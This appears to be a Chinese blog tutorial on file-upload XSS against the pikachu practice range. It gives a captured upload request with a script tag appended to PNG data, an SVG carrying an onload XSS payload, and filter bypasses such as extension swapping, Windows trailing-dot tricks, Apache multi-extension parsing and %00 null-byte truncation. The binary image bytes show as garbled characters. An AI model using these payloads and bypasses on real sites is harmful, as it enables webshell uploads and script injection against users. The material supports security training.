XSS 上传型漏洞

臭大佬 2021-09-14 11:55:50 1903
简介 XSS 上传型漏洞

介绍

文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。
所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。比如:
—验证文件类型、后缀名、大小;
—验证文件的上传方式;
—对文件进行一定复杂的重命名;
—不要暴露文件上传后的路径;
—等等…

请求包

通过HTTP协议上传文件的过程中,将通过POST请求对文件内容进行传输,而在HTTP请求包中,有可能存在的用户可控点有几个,接下来将以pikachu靶场为示例:


POST /vul/unsafeupload/clientcheck.php HTTP/1.1
Host: dev.pikachu.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,
/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=—————————————-195728204725558325663806612279
Content-Length: 11487
Origin: http://dev.pikachu.net
Connection: close
Referer: http://dev.pikachu.net/vul/unsafeupload/clientcheck.php
Upgrade-Insecure-Requests: 1

——————————————-195728204725558325663806612279
Content-Disposition: form-data; name=”uploadfile”; filename=”33.png”
Content-Type: image/png

塒NG


IHDR    \r╢ IDATx滍漿xT展?{餀?$$? \i?r鮽
薨^翞种j齣嫡赟{?m绁掸m<觫??? wH€?天轿;?固d痔诔?铣抋鯶哽颺{淼?岶Qhz唈? F#€R?(n)齹l牋寤絸瑬?@ €C@#?刿騩?剀R猂襾 橧 L ????X,> 柖黱З}?t ?,郿p0+Ut, 纀aKY嵺Ph4?\< T?S&?里qV@蚬裩|??<嵺蚔砟彩~?郥yqE???k? O蕶觝2榬鄎躋x諑欘R?橍Y詇2??@鯉ê4??uF5?` ?铍2諑绲?鼫乡)h4??粉鸭^?逥?续勯繤?V甯?殞?餥繟?ej?麽螇衕2喩竤鏤;恄蕠纐 ]岶pp鮊惴R|=﨣⊙|??娺藫鐶嵡珹絪魯??g岶9Sp淄玽姙V?q\?e\嚏?tI9L眚i4)噙袃}^(趵賋+岶*奏荆Vm弗赴?ρ肉裹^,丸瀫&臷宬h獚]楒K=0┟?翙竬颰?潡j\麠Pi#忍紎=祙寷]?@>鹂@_誃4qS 嚏髛4?鄎,鄖芘=毺bn枴卙2棢牼;獽r鍐cF友嵇齈併汛嬣▆ +Zd>雚稱玏-膋?€鳄 p抝i吚嫪厁
?8杒€??Y鐫w3g武廹嗬?<x怣?聱氙SYY蓙攋8p 砱湘粲OЪ紲苘\v碲艎+x釁X紉1B?[砾浪獏h糑 p 跸???o澭行 罨?勋W?,,?hnn頣銍~(f虡↑|稊龛?濔?6襭8,瀪N濌h秎?N8釀磇?m汎粲O阒?庿.,薘 餒湺犻a\坆闾缮?-J腮[┇?应MK蛊俪g嬅?wK銦黦/?0>n??迾? 1n9V+貂鮞聞 )觴?t垸[o~? ?豇棪 ?D盦~飡逰时Z俦c囪鄯痶}ゥモ小CR4^y鍟?€ 甆菳4茎?铥ae?r銱塂??B<砇??^y?iDQQ戧 ?菼蘐4~鋋邖,X 凸Z?u?}_棨雥嘦 軝牠h|F9?|渪鈮聁?秞馼)鶯?7n敭/増? 蝎<{4蠣?豇銖Kw甐&M殧淳+"e鷡簦? w顰Md8E●egg嫼汉?負O>櫞茥^z)em郐邬顤c厜?髖 牌w衽箘⒍禫凚?0€癿;?O>鵧?@ 鱲脋|AO?4w慰R煘寅篁?銓3簘?1驮欻A溰洫? 緟6?踊u荟碹w久?S8彻鬓{;\攲儩y鏅?6^跄?E?T嬓l`?娀潄@燵稔+++ENN??嬿?橈/Z川?7m??[穘U蔟o-涜??抛Qol?agy氕稤VVV噓骁鐙璠?qLuuu肤邃?鼁2崐鷦巕в?湾麯 I摍|€zCzj聨蠆縆/紧榗?5x芨q]j诖i摳鐬{膇&轶俦YYYb匕a庖K/鬟楏JKK昣彇?n+襠$’∞? f螠橮 x淼租0宑侯廚X邔3:u麷.笵槮乏笪;飿轎+c菐U~=ZJw€盖杏瀥<3袚洓貭髬/茥蚃?/紁膅}?>侪{??,X€?qkz楗棙0a

屈~满RD 鴼j椁’€,嗨狤磼桦嫡玏驱軺玍駕8N?p討枉诀=n洪&殮??牶簹殮歯汧甐- ?T H#狻恝湾WUU鱳黛賡娘?Nō鰔嚬忴? &L樌?_LEE} 祂昨?龐7遼揾4鱃?EII?u<x0i}├?糡?峔鷊滔?捫罃)S?緋??韅庵璠彊Q8m?眀艎N5镘筍虧;W滏鎶拻眡疋v跨丒AG棢wmN歀"舓.排?€?詈o羔??2dH满&O烖亳m??罹鹡i+#慔軆塱,坌億佩?猚JMMM軒蚧啐.顉焭戛蠋婩? &琺疣罣?s鍸 ??"篷[Y砯嶒胄A櫺i2?∞爭) .屰Q狣nnn梪骀鎶谮谙嶽籿m孵淡G!b睒4莖彘V~:(Gx鴶烉?.P-?辻鐫缚[XX拳忿阱黝搞蝌>O}縷niX秎?糠鱢 Y9i??4r8
鮳搗K⒊>,??氍硯侉c螠9葜縻X嫱綸?:tR屎2.嶗??R慌铂??螺
h螠9G渥7MS{淼翘脀G 4ㄛ?N?幼廰迨暿疉濡x L鉳V⑥?,<餈窚g缥漛藜y獐亟{w贿Y瞕IR??黴2>?唼龇暉.娹L4??R噀?崷牧?H壎汉:QPP狘黽Qj?hg4棥迗?夘焲驂嚸Ik+**JI蘼燓臾氏{渆b6︸0縁?uY?”??7?M呓鬓+U劬}鸇
掘?g鵱?︸4瀪[n豁6i鲛{颕輨3’’Gl俨E毦俪g+??=悺?6?(産殾x衽搗?1j?辁?e袂W~?,砧i???瀯J~~綳緗y窛+媺??e鷑捡皮?^騌D疏v霮鉸頑结$\
艗%Kv瓾$”f蜌時}7輙S扶
X癭A簧L3M?鯁迎
吥?>罚m芨盵K~籟??眐桩复577嫽詈K陿剛?殞c+?’?n?褴s蠅Ζ漦应M鈻[nQ噎瓮?w遾w噥牣甆<恽技\鵼擯弈up#’^^&L牸紲技<鲮倜蕰+Y穘漥i槮筛q?7n麋小Cl匕乪藮u;u?9圤w鰠兇?鄊?4綽0癒?嬴u9??4久?遄 ??4綾琷├?逹甖@*餶 疱乓(艞7??肨婬Y枸蹱?(? 騭燱??铰顆蟛
],n=儐?叇fhl4D牔j?牶NPU+í冴ZA蘊线珮???€!富 e<厃?
J?嗹3(+n??鎦?尉C?諅?埙 v?|枷齷g暊礏)蹿U蚧瑇oX怽N??9!8n惿衩 ?5[jp|檞<Y>=(X絔疳?k?朱?尼pL挡?幓g€o餭恓]1と鄬 ?茪LmR>欣螂h 0爮羳>鐪礱?偡?脊謅馟? ?鉨: x?€>?鐭lr鲴&?LJ孆qgO啝cK 茤Z躼?0盿梎馴囎>txi匨CD比c駵m%?繾? 渤鄴I_;逾蘱&A漎甂F2=肉鷖-"?tx??-硥zc燪€ 燲e泯 n捧?认Q??幄 &M0賥(纎筘?c?*m=/?n2惔bp薊~鴒r瞄n絞PU+?瀆が;?p潽芐?{ i_礶欚靪俓>E黧SIQo兦??输栠E?3糨夽??セ怜渁i鏞#7渒1齲%OE)膹燖?M闝4(槸ふ馇 ?? ?鶾LE棿?滇劭忩?GE骾翻T惴A?燗U阌茪<vS愥黺Z搅猰7<c?%?n婐?b?縔j癬?鱩纖/護dQU+各?瀀h玘x矔*悓?繮籮 |v€雈Xd]Kh埨#堮孂6?<髚?燅?斸惫讠?穇鄽?BA誮2兒&x綻尺{?瞦{纠o稹j?隘淋?s蔚(桢酚.嚱?怇渔??P?莖?7愦/饹%z6 匆+ _;逾?8n斑N鼬嬅?谤?涙╦5]?€囻| h拴cL鏈kq賒媗?墴贔[6O糽?诊: x槍
缋eS,緕ε閏L 縘?l^^轲?6/紀訑櫣ut ? ?ㄐ嗖?桸69u寜欋W(j秒??譮聋U5瀩稄 <L?€遏+08$搒O2檘侷哕谈\? 茚?瘇鑠谢z軦 惬 ?藙SF竔腘泠?2%ズN癲澿蛷轟氚r泝?? <L9癥祱t`橮1凿鋜?嚊?茑鳵摐Pj郗m刄;臧r玚?圂籇OZ憢麻娌馵 鹛L@旚5Yb0b€琉n2牺 婓!/氰饙CC隁鹙`?窿Z翞??鹅l?2!qg曄徚M俅[祱L垒,慕鼞?SG溆嵗g+h?K?[P?4秀镦塕玓€l| n嚽?儏?薭12o?? ?嬮羆n??婦|髽楂 PaY?? 颦P?!x3銔X屌?[lo鋾謝cYL 8#d奺vggY9|?郖j拭7c 穱媒??F幌h?噖l涽b1迚咆`踕?TM? c-婭?S&糸`:?莍>刀??|?h?肴?奙揔L揔傤氒!x/憬X尌锻郐?剿晟? N?Niq?朎?鏮棝f?儋啁aS用)枡|?X槜W;植蚝{| Xg踻嫳识顿h踷!蒙马螣pq瞖1什??3踾E}}?塉馝 鴄v鰲n咡Gv酵B捌q?c璵持顿?4铻?? F[c,媞柵??宋?嶥緋$睳r読???RQo?oY尫>嚣???锻問^耭莂砿鹝鉿揷敍&?婹ιh刷虏b︾}(5蚠绉チ採=€勖崃7嘊;r 祴hm囥傲顿?|l踠s?{G8&H d?3M?媋ι??l毷 w枫宁x鴓?"憣~J跳繮觸P刁X腊?毭狼锻菐梦6?莂?靪z^x皜~ι婴?b殶?薭╥J锖摔?}
?嗲$價荌?絳G蔒3臟RK仫8靣獎O??A点pP
A崌? 爮aP?M? 僢婴??M饵涢w焪c苯椫?P?2?黦v鲕Lw~p?KL搾8瀉?pj厾鞯f?4 A??M-?牰%pD∶A?脿u矗穉箚A禷悆;葨m?y咥瘱?L撀窍?JL潩=?洑轚籨t mYwㄖ恘L犘0(4 H訝棪},犜4LS籨?}?59(U瑿映?渮{8湵336 2??Hら哢b汍ㄖ裖22 |1?绐帧????t棇 佦KMSw 4瀈| 酗飑猽t噷 c,k甹 M+&Pf汍┲?2. ?WL 啫帧汛e抏M湍晾? #L?蓣讀峛哟??U際攲 -?3T胄h赾渆e躟F€I伬鞢踵熎妎?? F榱?崌 孱汤?c理狃qS踵熎鉒 N齜0?浗gL (5望u達鉼殾59窴祹x蓸 爂2?X瞩?腒F€焏g??藒5=儔伬累冕U雸噷 #-雟?4歺 #-+#ffB 萚?鄂Nv蟘Kc1>埮N”2ny^ p餥ps韧8;漪@€酴 5?o腷?嵅8阈?椢轕Кk2羶?帣\a柵?gL?B: h褸x放?舃x呱g伀咬,q碱1c€忊鵥pb 滥朻01
?峬?cI宿抭n? 闞*0 碱!苜?Mt藛?-??u=M乩Z坻??7K&??y赇忮 蹃A?l歀8敛8毹x7呍鴹&!X砚餕m洢?躜爷???賦羸??,犥?钡尩,2f?al陈禮嫳糴嫹n?€Q梨?複? ?緶頕兝q柵繛 99DW?秜-⒈1軷4癑J貟浰S玍甭禮m?6w齇罁??
€=€?+|?闱弚q飙[輅鹧G闹?秜-鰩?孵???#|?茙%PQA饎0g鵟v賓枕 唩鞫堲j 菘觋耆屯眙;⒈扆!窑J鲭G牏偫乇+*TT?崙政蜜?3fL歎?繠?幤?)}wZTT豫?99zw?adea晻a?A?琣密煆;敞(『适蔙#21緤 qQ 湭R腊a肨6遚0渤??:k?r邋X邋XC咹 p橚硍颺)鮱撍乷M*E?繵P黨鈶;FFc滗
孻R俇R?h慃oI 謵!X%%i覵VV? ?.礼qb j? 宍愷W緜īA44 殮貂8uu蹐?hn?峛?! 寺<瓯侨蛥@ 碃 屲\屲\厅|屴?z髌滔庆?0砡??bdg4tJYY锝鳛jW?@孶-b葠 ?欲T4ゥ炟G鰘?≧-?瘝]㈱ 览?UK蠬?? 窧祱秞) (橒?排弄%h$3x餪?Z衲M?/€蓘’ P-A#檦〇惺T$畂I/ 蟭嶛黠痁侳2
?0[祱V? 杍嗑3蜲汶)Mz(,,T-?灩賧% L啰h琪)?磂 y 餔 餖D燧环j ?壬蒕-?忯x? <q2@ ?摋棫ZB[<1鄥 p2PD+: ?廬跾屣浗 .T-?籏h$獗3?B5? 絲鮎-A?耡e鵨:??T€b俠 G ?龏莦 3 ?? \? G嗔粍F嗺2@?覶 P韡+n_嵰?? 堐?羆P?M婐?€?T &鉽?匞岲#??椽芔€?壑h寄躬V 蜵囟F?旟偑 ?w愮hn?Og囝T梫T€ix/! 慔D?M姩┅Q-?騺ST4? 湬╙嵠珳、QU?E韛墸鼹莹A塐? 9? =I]]漥 ?Q[[玓Bg湂?qT€Ix豉牼綹?M奾赧飬纐閚TE P猴W4铦~}K\鄞?? S?7縆h?甿趠CE 癄透褟 鉩 燻l,?嚅~W琁??@Z祝? (欖?UU炠稱#戧阩l踁-??閘0?啶4窏0MMM455琵?5 脹+?-TWW珫/i} H麟窽E氛?Y曧鄯/铐?麅mc?鰱-刿禷镓伣k萎]貃麾燠噽8 mdgc枖蹼?|复z鹐W箠载?;巼t€T肩???Y钴?颀? 珦鉊s3Nu5忄ADCФ殯m{???Fv6唀a溴AVfq1VI 哊^?;w顢]逋?’;甚uJ:@憘z繀c?叞JJ牑$%鮧:&譼
p饜鋤? ?0?g^K9(骋T ?$_S?迲Y1頪簿掚鞇t€Q掚; 蘭鵜晷蜎eVя 挴i5n皝?買$?%8?燣r}?{Z~??癮?YUi<備k悍拖k亄dVNw蔔g 慁G=ㄏ渡猏 qa秓?呈璆 郵夣? $8!U缻韡.瓘穡镛Lzo倁胫蔀村ㄟm?@?H:G柉tI:?I踯靕珞鯍?艎2($昨>[|_R齼$沼%? 2F6?*;??  麮 ?>5鸩匉??? 深吘傅?梲晽-[&?岯>櫿Eq?磭 ?挐v杌 挋??t稖隿@贖蟍o??岯殯沋緗固*撸骻?罍$垧?€d?迡{饣庹$垸宂籿?9?橐ゲS娇莣^ ~汥YI?? 商梸鴌溸嶇饽外艐eV@
產?欙 v硩掭<.a? 夯肷ЮWq
衬冊 鹨K/涩NW^yEfu嵞?m垦鵦kG?;笆??唟鱲跖6炝潤%匴^y!劕?i緸w迲:U-涼?窷?伽+ D籷蘷侇暨^炱1聿o??H?瞤酈賩=v嵌??羉叶Ae?@⒒m鼞腛Z+礞q?o?櫿i胰骵V?腈边%鼻哟%/L鏝$M镊6?芙?狠劋??w胫瓝Q?岲 纴dU?pV趋?>卉@歏 嘤8境笀錅喋$?岝胱硋aM歺跽We:?$oS?坥捫灝?噒€畁{?u?琼睮釞g瀾U?M<鯏磠 笍?-[op]鞵”u]M楷?
餓DATKg? t4?~?oE?H?3蟙BJiM 档?X癅f?det}笜蝺@g?晅€E|?髻J鰥峗霜h黝菁礂 ?箪诚&斱?m﹨W仚t<?u>媁 籶OhkYF曛>竤剬r罟?嶗qG?3F?o)襷掜0纷鄱谨S貫r澱W 鼊詏凈
$俛b脝
[?鰵L?缹T(??鲬 傷套摼?莒-R宎螠9[?鐭綥鏮扟?妉腋 笗t?P舥里eT敃暸汁[4(m [4 癰?茝/s鶂?則w慛&?笢?抈?裩?.?yU檐|笸2’m?黀Ve^?? 蜛N?B?6lH|?MJY簍)?M抲??`始LO?€浧鵇$Lm洩?.奎蜾Ui誙W眒洿甜?霜L?嗎瓽Hzp?M眛镽浙]?嫱?s喁?f逭{慸(闱?秏?Occ?++? :K<prpw抌,<w辻?€烍X 魷A蓝?,D逻灄椙?k:4m;9i诎l?&O濴,換]3p 著垏恡讟>}簆G鯈扒衍?茙+箢綌Z淕镼轁6,.?[讯m廴挝娲覰K^?nn锦V?崔垒rN泉P銄凄.馤 ?锛zωcx鐓a差鼂亖)?峠?捄悆
粀颲?緂莺u”??栿莗’塱z0縁R?qD”獇姆<xP敆椝|?AJ-K?X?H2?R
骀fq諽g蓆闄o?韾徎hH妐蜐;W悼鴬X,&f蜌%御棎鶿?c0?IFv?w
嬇臅W^)御??????韶n豁6政撗腷1皴/Yo??M嚋 T#设鯶岶U鸕蒲行 .鸿”傥?<卾qR兝虣3E]]漥熓鲲?&N湪漘損w3抌刢菐?mR韀瀏俨eb栊??頡p?aF??c,((箸蟇韈炲??醦X 鬙hz 齫SCI3?o糛4447蟨疣A賰}7\^尸B??觅蜁酜?z陹I枖lB璭淙慴癣E獇O9箧?%%%R??VM頍每m?熥\σF2=??觅港6?.ゅ.”黮^???r? 僰桘罨彚⒋W蕩;铬諿y绁諜€_]浜G,r= ,垒躶ahV$*瑼?@ 蜁?? }塏&娂惨?G?HR

鸽?w.岚?ㄕ照q遾黢薩纩}??w狠??缽噁E叶瘲檠牴2??p3?牳貃Hp醑?Z-mr JJJ阁?哈}觋陎琛國寨~Euu翟篻O祒籀 絪:靘芴? 蛫HI)攭羧 衆.nn鷙?G烂/气忕b46K暻€7可?轍縹I?Q蕩;x鋺G?蟻ぶ?奏乷戈踏蜈炷
?蛫匀Q?舁 衆.??魭Q鐤=?夠?菇€p8体梍?譢敏橛1蛅铈迃⒀(?Y9麕鄫L?A魬f?€亣B?m垌;zD h?€ow搽w<駣蛷瀷Q]+ol?C?a鲮賊z楗渧趇?裩斪澥蔎嫱浨鸖椅郆儫]鲈攅驰僰'蛫ゆbz?€媸餯鄔$饘遌5铢c?谀煸礢TT聂橛?cg漸邋濠k??琠繛譤{崊 瞙?jjR變挝俒. 瘕?灿撤?鄦鞋菺iiM? 蜁a ?7隟 漨)哥O1紞j;Θ▓?'r蛏'SQQAEE#G帞6愗行榔?Y砯 k桩e寮)u鳹,緍喤従h看沰鴑hV姆蹌? 4W唖p啕蜹ヽ閒??偏?腃縹?:t(ぐ皭侣B韹eY絷諎?鱒塂hjj”峳嗬f黝蒽芄S}<?\2赦??喔潦汪)嗪鞋H
鹵jP~fe覾6€酷n ?杘qx鄖?镔豭bA?
簑黐/
0f埀腆懶\?d悌3,冩署
纎U雋弇{=茻辮8X稃癀?.0跟l媜]h芽莱fyQhVD趂^莱g?4W哅墉繩Uk閷γ鸱穖瀨沛眭=稫0?撾伪嫚鞣﹜'4+2U?欨- 屆往?l??[b硓?{?F樚>誨鯰婣?g倉C?U嫄E茲h?O^W籰???掭瑜鬠b: 嵩/槣采,y2?伽Z?2鶭Msex饓j2╥刉W偌沮犴??3€脆尼&揊櫶8裠Z匢NH?)4Y蓳空岖 衆??}劲?捱漯?囌?;l齌}PZ0j怉臥??&?9e剻:殒列愍E饶? €挥?繦舝RJ$ 雟:l?佞┼銄倽U俔諅?8P'捨]盃O濧Q.旛7(-6(+6(韌0材涓罠& ???莱~?旎 袞媸餢?p<0
餑g4N猨El

詪C{墯萢j稣垎凊??U顫CA運aoz?学(哞]攇?缬稯ki嘑-n>隶罌懲j%uq[& 耐; (妬??頙翜枱油a躮藳pБ?Q?皝C-擤mP丝5-熣儿??霒樵絨螩o蹹)m韻桓獱彗讼躄J!荏樣騭i灃
8哥?骷猌蕕?!粊m蓝鞋绒4隨J? 荨%iH?1侤頠??单诈?i蛫?-8h?嘹^牍mK垠躂6穷錡?[iut<GB?蛞i4岶Qh4岶Qh4岶Qh4岶Qh4岶Qh4岶Q(? ~莐z尦? IEND瓸`?

<html>

<body>

<div>测试</div>
</body>

<script>alert(1)</script>
</html>
*

可控点

  • Content-Length,即上传内容大小

  • filename,即上传文件名

  • Content-Type,即上传文件类型

  • 请求包中的乱码字段,即是所上传文件的内容(如上最后,我加上了测试js代码)

  • 有可能存在请求包中的可控点还有上传路径,只是上面的示例中没有出现

测验

上传可执行文件

可执行文件一般是html、php、svg等。

svg文件

svg文件里面的onload属性可以出发js事件,可以利用这一点进行测验,制作svg测验文件,创建一个空的1.svg文件,然后用编辑器把如下内容写入到文件中。

<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg t="1629902091639" class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg"  onload="alert(document.domain)" p-id="3724" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"><defs><style type="text/css"></style></defs><path d="M738.781457 243.320134c28.197694-5.199575 52.595699 13.998855 54.695527 15.598725 28.197694 22.798136 30.297523 60.995013 31.297441 78.093614 0.399967 7.999346 0.299975 16.098684-0.299975 24.298014 2.999755-5.199575 5.799526-10.499142 8.199329-15.8987 6.999428-15.798708 31.897392-79.293516 79.093533-87.892814 12.998937-2.399804 25.19794-0.199984 35.397106 3.399722-0.699943-1.199902-1.299894-2.399804-1.999837-3.599705-17.898536-29.997547-41.196631-49.695936-49.495953-56.595373-32.997302-27.497752-46.796174-23.698062-70.694219-49.495953-21.898209-23.59807-31.397433-49.295969-35.397106-63.694791-10.599133-37.896901-4.099665-69.994277 0-84.893059-12.199003-2.399804-42.996484-6.899436-77.793639 7.09942C680.886191 22.038228 662.687679 42.336568 654.988308 52.235759c22.49816 24.09803 38.496852 46.496198 49.495953 63.694792 19.798381 30.997465 25.597907 48.496035 28.297686 63.694791 2.499796 13.898864 4.499632 24.09803 0 35.397106-4.599624 11.399068-14.598806 21.498242-28.297686 35.397106-5.799526 5.799526-11.999019 11.599052-14.098847 21.198266-0.799935 3.599706-0.899926 6.799444-0.699943 9.29924 11.599052-17.198594 27.797727-33.697245 49.095986-37.596926z" fill="#C0CA33" p-id="3725"></path><path d="M732.781947 59.335178l56.595373-56.595372c-12.199003-2.399804-42.996484-6.899436-77.793639 7.099419-26.697817 10.699125-43.896411 27.39776-52.995667 38.096885l74.193933 11.399068z" fill="#827717" p-id="3726"></path><path d="M973.362276 370.609726c-0.999918-28.49767-2.899763-68.494399-26.29785-109.591039-10.099174-3.599706-22.398169-5.799526-35.397106-3.399722-47.196141 8.699289-72.194097 72.094105-79.093533 87.892813-2.399804 5.399558-5.199575 10.699125-8.199329 15.8987C814.975226 483.600487 692.985201 621.989171 660.687842 657.386277c-31.997384 35.09713-83.293189 90.792576-164.086583 148.487859-118.690295 84.693075-235.280762 126.989616-359.370615 171.885945-6.499469 2.299812-15.998692 8.299321-27.097784 15.098765l0.199983 0.299976v21.298258c12.898945 4.299648 25.497915 5.999509 35.397106 6.999428 82.393263 8.299321 158.787016-6.299485 162.686698-7.09942 56.495381-11.199084 108.891096-21.598234 176.885536-49.495952 112.190826-46.196223 185.184858-106.791268 226.381489-141.488431 75.193852-63.494808 122.290001-122.989943 141.488431-148.587851 33.697245-44.696345 72.794048-97.59202 98.991906-176.885536 22.198185-67.194506 21.698226-112.590794 21.198267-127.289592z" fill="#FFCA28" p-id="3727"></path><path d="M824.774425 337.112465c-0.899926-17.098602-2.999755-55.39547-31.297441-78.093614-2.099828-1.699861-26.497833-20.798299-54.695527-15.598725-21.298258 3.899681-37.496934 20.398332-49.095986 37.496934 0.199984 2.499796 0.599951 4.299648 0.699943 4.799608 1.699861 8.299321 0 84.493091-70.69422 183.884964-31.397433 44.096394-66.394571 78.793557-98.69193 105.591366-38.196877 31.7974-72.594064 52.495708-92.292453 64.194751-31.497425 18.598479-41.496607 21.198267-97.792004 48.496034-23.59807 11.49906-55.295479 27.297768-100.291799 50.495871-14.198839 7.299403-62.094923 32.497343-113.190745 77.793639-27.497752 24.398005-54.395552 53.295642-63.694792 91.992478-0.699943 2.999755-1.299894 5.899518-1.699861 8.599297-1.399886 8.599297-1.599869 15.998692-1.299894 22.198185l51.795765 39.896738 7.699371 13.898864c11.099092-6.799444 20.598316-12.798953 27.097784-15.098766 124.089853-44.896329 240.780312-87.19287 359.370615-171.885945 80.793394-57.695282 132.089199-113.290736 164.086583-148.487859C692.985201 621.989171 814.975226 483.600487 824.374458 361.410478c0.699943-8.19933 0.799935-16.298667 0.399967-24.298013z" fill="#FFE082" p-id="3728"></path><path d="M110.13286 992.858846l-7.699371-13.898863-51.795765-39.896738c0.999918 6.199493 1.999836 12.498978 2.999755 18.698471v7.09942c4.699616 7.099419 9.399231 14.098847 14.098847 21.198266l7.09942 7.09942c4.899599 3.899681 9.799199 7.799362 14.79879 11.699043 2.19982 0.799935 4.299648 1.599869 6.499468 2.399804l14.098848 7.199411c0-7.199411-0.099992-14.398823-0.099992-21.598234z" fill="#5D4037" p-id="3729"></path><img src = "javascript:alert('1');"></img></svg>
上传时抓包改后缀为html、php等

对于前端脚本检测过滤,上传的时候上传.jpg 后缀的文件,然后用butpsuite进行抓包修改为.php.html的即可绕过。

乱码处加上js代码(如请求包乱码部分的js代码)
针对win不区分大小写,可以改后缀为大写进行混淆

比如如果目标服务器是windows系统的话,我们可以利用windows系统的解析漏洞,用burpsuite抓包,将文件名后缀改为 .php. 或者 .php ,因为在windows系统内是不允许文件以 . 或者空格结尾的。所以在绕过上传之后windows系统会自动去掉 点和空格。所以,该文件最终还是会被解析成 .php 。或者还可以将php三个字母变换大小写,因为在windows系统里面是不区分大小写的。

文件名为shell.php.xxx.aaa.ccc的文件,Apache认为该文件从左到右具有这几个扩展名,php、xxx、aaa、ccc,而对于一定扩展名的处理方式由httpd.conf文件决定
可在文件后面添加字符串”任意字符.php”
针对白名单的攻击,可以通过%00截断,如任意文件名,可以在其后面添加%00.php,即可构成解析漏洞

如果是白名单检测的话,我们可以采用%00截断利用的是php的一个漏洞。在 php < 5.3.4 版本中,存储文件时处理文件名的函数认为0x00是终止符。于是在存储文件的时候,当函数读到 0x00(%00) 时,会认为文件已经结束。
例如:我们上传 1.php%00.jpg 时,首先后缀名是合法的jpg格式,可以绕过前端的检测。上传到后端后,后端判断文件名后缀的函数会认为其是一个.jpg格式的文件,可以躲过白名单检测。但是在保存文件时,保存文件时处理文件名的函数在遇到%00字符认为这是终止符,于是丢弃后面的.jpg,于是我们上传的 1.php%00.jpg 文件最终会被写入 1.php 文件中并存储在服务端。